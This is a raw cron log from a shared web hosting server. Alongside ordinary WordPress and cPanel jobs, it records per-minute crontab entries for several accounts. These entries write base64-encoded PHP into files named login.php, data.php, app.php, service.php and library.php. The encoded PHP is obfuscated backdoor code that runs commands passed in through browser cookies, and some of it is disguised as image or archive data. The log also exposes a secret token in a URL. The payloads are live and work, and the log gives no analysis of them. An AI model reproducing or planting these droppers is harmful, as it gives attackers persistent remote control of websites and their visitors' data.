Jun  7 11:47:02 medusa CROND[20444]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:47:02 medusa CROND[20445]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Jun  7 11:47:02 medusa CROND[20446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:47:02 medusa CROND[20448]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 11:47:02 medusa CROND[20449]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:47:02 medusa CROND[20450]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:47:02 medusa CROND[20451]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:47:02 medusa CROND[20454]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:47:02 medusa CROND[20456]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:47:02 medusa CROND[20457]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:47:02 medusa CROND[20458]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:47:02 medusa CROND[20455]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:48:01 medusa CROND[22248]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 11:48:01 medusa CROND[22249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:48:01 medusa CROND[22250]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 11:48:01 medusa CROND[22251]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:48:01 medusa CROND[22252]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:48:01 medusa CROND[22253]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:48:01 medusa CROND[22254]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:48:01 medusa CROND[22255]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:48:01 medusa CROND[22256]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:48:01 medusa CROND[22258]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:48:01 medusa CROND[22262]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:48:01 medusa CROND[22264]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:48:01 medusa CROND[22263]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:49:01 medusa CROND[23877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:49:01 medusa CROND[23885]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 11:49:01 medusa CROND[23889]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:49:01 medusa CROND[23893]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:49:01 medusa CROND[23894]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:49:01 medusa CROND[23896]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:49:01 medusa CROND[23897]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:49:01 medusa CROND[23899]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:49:01 medusa CROND[23903]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:49:01 medusa CROND[23905]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
